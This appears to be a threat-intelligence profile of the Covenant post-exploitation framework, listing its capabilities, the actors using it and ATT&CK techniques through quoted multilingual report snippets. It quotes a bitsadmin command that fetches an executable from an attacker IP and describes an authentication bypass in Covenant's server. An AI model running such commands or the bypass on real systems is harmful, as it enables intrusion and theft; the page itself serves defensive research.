Covenant
- Type
- Backdoor
- Capabilities
- Credential theftExfiltrationPersistencePrivilege escalationLateral movementPost exploitationDefense evasion
- Delivery
- Spearphishing
- Platforms
- Windows
Covenant is an open-source C#/.NET command-and-control and post-exploitation framework first released in February 2019. Designed for security testing and red-team operations, it has also been used in malicious intrusions. Its implant agents, called Grunts, provide remote task execution on Windows systems through dynamically compiled .NET code and encrypted command-and-control communications. The framework supports HTTP-based communications and SMB-linked child implants for network pivoting.
Covenant supports command-shell and PowerShell execution, arbitrary C# task compilation, credential collection, file retrieval, screenshot capture, token impersonation, UAC bypass, and lateral movement through WMI, DCOM, and PowerShell remoting. Many functions use SharpSploit. Persistence mechanisms include Registry Run keys and WMI event subscriptions. Its launchers support binary, shellcode, PowerShell, MSBuild, InstallUtil, WMIC, Regsvr32, Mshta, Cscript, and Wscript execution formats. These options enable deployment through legitimate Windows utilities and in-memory execution, reducing reliance on conventional executable payloads.
Hafnium, also tracked as Ant, deployed Covenant after compromising Microsoft Exchange servers during the 2021 exploitation campaigns. Sednit, also known as APT28, Fancy Bear, and Forest Blizzard, substantially modified Covenant for long-term espionage, including deterministic implant identifiers and cloud-based command-and-control through pCloud, Koofr, and Filen. These variants have been deployed alongside BeardShell against Ukrainian governmental and military targets. A Covenant Grunt stager also forms part of the PRISMEX toolkit used against Ukrainian defense operations and military, humanitarian, and logistics support infrastructure across Central and Eastern Europe. Observed delivery chains include spearphishing with weaponized Office documents, exploitation of CVE-2026-21509, and loader-mediated deployment.
Associated vulnerabilities
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The suite consists of three components: a dropper, a loader, and a staging tool based on the open-source Covenant framework.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
"...execute payloads based on Donut and the Covenant post-exploitation framework."
The attackers also customized the Covenant red-team framework to route encrypted command-and-control traffic through Koofr and Icedrive cloud services, making detection difficult.
In the recent attacks, the Russian threat group paired BeardShell with a heavily modified version of the open-source Covenant .NET post-exploitation framework.
Techniques & procedures
83 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
4 techniques
Resource Development
MITRE ATT&CK techniques ... T1583.006 Acquire Infrastructure: Web Services BeardShell relies on Icedrive cloud storage. Covenant relies on Filen cloud storage.
Instead of standard HTTP, APT28 built a custom bridge that uses the legitimate Koofr cloud service, with tasks and results travelling as encrypted files inside the operator's Koofr account.
"BeardShell and SlimAgent are custom malware."
The HAFNIUM threat group uses the following tools to help its post-compromise behaviors.
Initial Access
7 techniques
Initial Access
The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.
Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener.
Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token. Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.
Spear phishing campaigns or the SedKit exploit kit delivered the Seduploader first stage.
攻击者大多使用投递邮件的方式,向用户发送恶意构造的诱饵文件欺骗用户点击
In these earlier attacks, emails were sent to targets containing a link to a likely compromised site, which hosted an archive file.
"APT28 Uses Signal Chat to Deploy BEARDSHELL Malware and COVENANT in Ukraine"
Execution
14 techniques
Execution
"GenerateWmicLauncher" and "GenerateWmicHostedLauncher" are present.
“Deploys: … scheduled task (“OneDriveHealth”)”
...створення запланованої задачі "OneDriveHealth". Заплановане виконання задачі призведе до термінації та повторного запуску процесу explorer.exe...
The code implements both `CscriptLauncher` and `WscriptLauncher`; their configuration includes `ScriptLanguage`, `LauncherString`, `StagerCode`, and `DiskCode`.
The launcher service exposes `GetPowerShellLauncher`, `GeneratePowerShellLauncher`, and `GeneratePowerShellHostedLauncher`; the commit description also references `PowerShellRemot...` launcher commands. | Task handling recognizes the "powershell", "powershellimport", and "powershellremotinggrunt" tasks; it can prepend imported PowerShell content to task parameters and generate a PowerShell launcher.
"GenerateCscriptLauncher" and "GenerateCscriptHostedLauncher" are present.
"GenerateWscriptLauncher" and "GenerateWscriptHostedLauncher" are present.
Shellcode运行后,代码会动态获取VirtualAlloc的函数地址并重新分配内存空间加载最终阶段的恶意组件。
The launcher section defines GetMSBuildLauncher, GenerateMSBuildLauncher, and GenerateMSBuildHostedLauncher operations.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token.
受害者通过点击~v1.pdf 启动powershell 执行恶意脚本,并通过脚本下载后续恶意文件到计算机从而实现入侵。
Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration
“Deploys: DLL (“EhStoreShell.dll”)… Terminates/restarts explorer.exe → loads DLL”
Persistence
11 techniques
Persistence
“Deploys: … scheduled task (“OneDriveHealth”)”
...створення запланованої задачі "OneDriveHealth". Заплановане виконання задачі призведе до термінації та повторного запуску процесу explorer.exe...
The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.
Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener.
CreateHttpListener mints a brand new backing CovenantUser, assigns it the Listener role, generates a JWT signed with the server signing key, and returns that JWT to the caller.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
Persistence matrix 2 Technique Count Framework Component Object Model Hijacking 1/10 • Covenant
程序会解密数据并在开机启动目录下写入App.vbs文件实现本地持久化。
Privilege Escalation
13 techniques
Privilege Escalation
“Deploys: … scheduled task (“OneDriveHealth”)”
...створення запланованої задачі "OneDriveHealth". Заплановане виконання задачі призведе до термінації та повторного запуску процесу explorer.exe...
程序会尝试从C2下载数据到本地解密为Shellcode并注入到iexplore.exe进程中。
并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。
If a user can fabricate a JWT by using the leaked JWT secret key, they can arbitrarily assign themselves admin-level credentials, log in, and wreak havoc on the server.
The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.
Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.
CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
Persistence matrix 2 Technique Count Framework Component Object Model Hijacking 1/10 • Covenant
程序会解密数据并在开机启动目录下写入App.vbs文件实现本地持久化。
The code contains a "bypassuacgrunt" task that resolves a launcher executable and appends the launcher arguments and execution directory required for the BypassUAC task. | The cited latest commit is titled `Fix launcher commands (i.e. BypassUacGrunt, WMIGrunt, PowerShellRemot...)`.
Stealth
20 techniques
Stealth
This is a .NET assembly responsible for C&C and executing further tasks from the Covenant framework. It is heavily obfuscated with randomized function names to hinder static analysis.
Стеганография (T1027.003) прячет payload от файлового анализа: PNG с шеллкодом - не исполняемый файл...
`CompileGruntCode` compiles substituted C# implant-template source through `Compiler.Compile`, including .NET Framework and .NET Core compilation requests.
程序会尝试从C2下载数据到本地解密为Shellcode并注入到iexplore.exe进程中。
并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。
The unauthenticated CovenantHub SignalR hub allows callers to invoke CreateHttpListener and receive a signed JWT token, which can then authenticate against the entire operator API.
The launcher section defines GetMSBuildLauncher, GenerateMSBuildLauncher, and GenerateMSBuildHostedLauncher operations.
Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom.
"GenerateInstallUtilLauncher" and "GenerateInstallUtilHostedLauncher" are present.
"GenerateMSBuildLauncher" and "GenerateMSBuildHostedLauncher" are present.
"GenerateMshtaLauncher" and "GenerateMshtaHostedLauncher" are present.
The launcher service exposes `GetRegsvr32Launcher`, `GenerateRegsvr32Launcher`, and `GenerateRegsvr32HostedLauncher`. | The code defines GetRegsvr32Launcher, GenerateRegsvr32Launcher, and GenerateRegsvr32HostedLauncher, including DLL name and parameter fields. | The code implements `Regsvr32Launcher`, including fields for `ParameterString` and `DllName`, and generates a launcher through `GenerateRegsvr32Launcher()`.
The launcher service exposes `GetMSBuildLauncher`, `GenerateMSBuildLauncher`, and `GenerateMSBuildHostedLauncher`.
最终阶段的C#模块加载之后,程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:
程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:
Generated Grunts inherit `Delay`, `JitterPercent`, `ConnectAttempts`, and `KillDate` settings from the launcher.
“Deploys: DLL (“EhStoreShell.dll”)… Terminates/restarts explorer.exe → loads DLL”
程序对其进行解密后,将其加载到内存中并执行。
Defense Impairment
1 technique
Defense Impairment
The changes they introduced include deterministic implant identifiers tied to host characteristics, modified execution flow to evade behavioral detection, and new cloud-based communication protocols.
Credential Access
2 techniques
Credential Access
Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.
Covenant versions prior to 0.5 all had the same JWT secret key in default builds. The JWT in Covenant is used to authenticate users to the Covenant web UI... If a user can fabricate a JWT by using the leaked JWT secret key, they can arbitrarily assign themselves admin-level credentials, log in, and wreak havoc on the server.
Discovery
6 techniques
Discovery
malware.dll 获取当前计算机敏感信息,如计算机名称、IP、用户名等数据并拼接为JSON 格式的字符串
malware.dll 获取当前计算机敏感信息,如计算机名称、IP、用户名等数据
Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.
最终阶段的C#模块加载之后,程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:
程序会进行一系列的虚拟环境监测,包括进程检测: 屏幕硬件信息检测:
Generated Grunts inherit `Delay`, `JitterPercent`, `ConnectAttempts`, and `KillDate` settings from the launcher.
Lateral Movement
3 techniques
Lateral Movement
“Document opens → WebDAV connection to external resource”
The "dcomgrunt" task obtains a launcher, constructs its executable path and arguments, and adds its execution directory.
The cited latest commit is titled `Fix launcher commands (i.e. BypassUacGrunt, WMIGrunt, PowerShellRemot...)`. | The "powershellremotinggrunt" task constructs a launcher command, including a resolved executable path and arguments.
Collection
4 techniques
Collection
MITRE ATT&CK techniques ... T1005 Data from Local System BeardShell, Covenant, and SlimAgent collect data from a compromised machine.
The infection chain stages a customised Covenant framework deployment in memory.
The hub exposes "GetScreenshotContent", "GetScreenshotEvent", and "GetScreenshotEvents" methods.
/api/grunts lists every active implant, /api/credentials returns all harvested credentials, /api/downloadevents exposes exfiltrated files, /api/launchers/binary exposes implant binaries.
Command and Control
15 techniques
Command and Control
Each generated Grunt is assigned a `Listener`, `Profile`, certificate-validation options, certificate pinning, connection-attempt settings, delay, and jitter configuration.
"CreateHttpListener", "StartListener", and "GetHttpListeners" methods manage HTTP listeners.
For `CommunicationType.SMB`, the generated template replaces read/write formats and `{{REPLACE_PIPE_NAME}}` with the configured SMB pipe name.
The code includes "CreateBridgeListener", "GetBridgeListeners", and "GetOutboundGrunt" service methods.
“…supporting capabilities such as… network pivoting.”
...в якості інфраструктури для управління COVENANT використовує легітимне хмарне сховище Filen (filen.io).
“Multiple filen[.]io gateway domains” (MITRE table) / “across 24 subdomains”
The code tests whether an implant template communication type is SMB and uses SMBPipeName to find, connect, parent, and disconnect Grunts.
BeardShell ... leverages the legitimate cloud storage service Icedrive as its C&C channel... Previously, in 2023, Sednit’s Covenant abused the legitimate cloud service pCloud, and in 2024–2025, Koofr ... Figure 11 shows the classes introduced by Sednit developers to communicate with the Filen cloud provider, used since July 2025.
Облачный C2 (Web Service, T1102.002) прячет сетевой трафик... Command and Control - Bidirectional Communication (T1102.002): BEARDSHELL работает через Icedrive API ... COVENANT - через Filen, pCloud, Koofr.
Hosted-file functionality invokes listener.HostFile(file), while multiple launcher types implement Generate*HostedLauncher using a HostedFile and listener. | `ILauncherService` exposes `GenerateBinaryHostedLauncher`, `GenerateShellCodeHostedLauncher`, `GeneratePowerShellHostedLauncher`, and equivalent hosted launchers for several execution methods.
Cobalt Strike uses a command-line interface to interact with systems. Brute Ratel C4 can use cmd.exe for execution. Havoc can execute commands via cmd.exe. Covenant provides access to a Command Shell in Windows environments for follow-on command execution and tasking.
The Grunt configuration includes `GruntNegotiatedSessionKey`, `GruntRSAPublicKey`, `GruntSharedSecretPassword`, certificate validation, and certificate-pinning settings.
“AES-256-GCM… AES-256-CBC plus HMAC-SHA256… encrypts it with… RSA… session key”
MITRE ATT&CK techniques ... T1573.002 Encrypted Channel: Asymmetric Cryptography BeardShell communications with Icedrive are encrypted using HTTPS. Covenant communications with its controller uses RSA-encrypted session keys.
Exfiltration
5 techniques
Exfiltration
“Automated via Covenant Grunt” (MITRE table) / “polling and uploading encrypted task files”
“Covenant… supporting a range of capabilities including data exfiltration…”
відкриття документу ... призводить до встановлення мережевого з'єднання із зовнішнім ресурсом з використанням протоколу WebDAV, подальшого завантаження файлу із заголовком файлу ярлика
MITRE ATT&CK techniques ... T1567 Exfiltration Over Web Service BeardShell exfiltrates data to Icedrive. Covenant exfiltrates data to Filen.
...эксфильтрация документов через тот же облачный канал (Exfiltration to Cloud Storage, T1567.002).
Impact
1 technique
Impact
“Terminates/restarts explorer.exe → loads DLL → executes shellcode”
Observables
100 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
71 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.